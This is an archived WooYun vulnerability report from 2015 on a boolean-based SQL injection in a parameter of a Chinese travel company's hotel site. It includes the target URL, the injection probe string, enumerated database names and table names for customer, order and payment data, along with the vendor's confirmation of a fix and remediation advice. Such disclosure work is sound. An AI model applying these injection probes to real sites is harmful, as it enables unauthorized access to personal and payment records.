当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110723

漏洞标题:中国国旅某站Oracle注入(泄露大量敏感信息例如订单)

相关厂商:中国国旅

漏洞作者: 大懒

提交时间:2015-04-28 10:07

修复时间:2015-05-14 10:28

公开时间:2015-05-14 10:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-28: 细节已通知厂商并且等待厂商处理中
2015-04-29: 厂商已经确认,细节仅向厂商公开
2015-05-09: 细节向核心白帽子及相关领域专家公开
2015-05-14: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

中国国旅某站Oracle注入

详细说明:

URL:http://hotel.cits.cn/hotel/detail/35.html?city_id=
存在问题的参数city_id
这里存在的问题是布尔注入
'%20and%20'x'='x
available databases [10]:
[*] CITSONLINE
[*] DBSNMP
[*] GGADMIN
[*] OMWB_EMULATION
[*] OUTLN
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] VERIFY
[*] WMSYS
这里第一个数据库挺重要的,里面有大量的表
ACCEPT_TAB 这个表有100多万
CUSTOMER
CUSTOM_INFO
应该存着顾客信息
ORDER_ALARM |
| ORDER_ALARM_VER |
| ORDER_ALARM_WEB |
| ORDER_ANSWER |
| ORDER_ANSWER_HIS |
| ORDER_COST |
| ORDER_COST_INFO |
| ORDER_CUMCENT |
| ORDER_CUMCENT_HIS |
| ORDER_CWNO |
| ORDER_DZ |
| ORDER_FLOW_HIS_INFO |
| ORDER_FLOW_INFO |
| ORDER_FUNC |
| ORDER_INFO |
| ORDER_INFO_BAK |
| ORDER_INFO_HIS |
| ORDER_INTENT |
| ORDER_INTENT_HIS |
| ORDER_SUPP_ACCEPT_APP_INFO |
| ORDER_SUPP_ACCEPT_INFO |
| ORDER_SUPP_PAY_APP_INFO |
| ORDER_SUPP_PAY_INFO |
| ORDER_TEMPLATE |
| ORDER_TICKET_RELATION |
| OREDER_ACCEPT_TAB |
| OREDER_PAY_TAB |
| PAY |
| PAYBUFFER |
| PAYMENT_ADD |
很多订单 支付的表

漏洞证明:

如上

修复方案:

1.过滤
2.结构化构造sql查询语句,数据流和代码流分离

版权声明:转载请注明来源 大懒@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-29 16:23

厂商回复:

非常感谢您的报告,问题已处理,十分感谢您对中国国旅的支持。

最新状态:

2015-05-14:已采用结构化SQL语句,并针对post参数做了过滤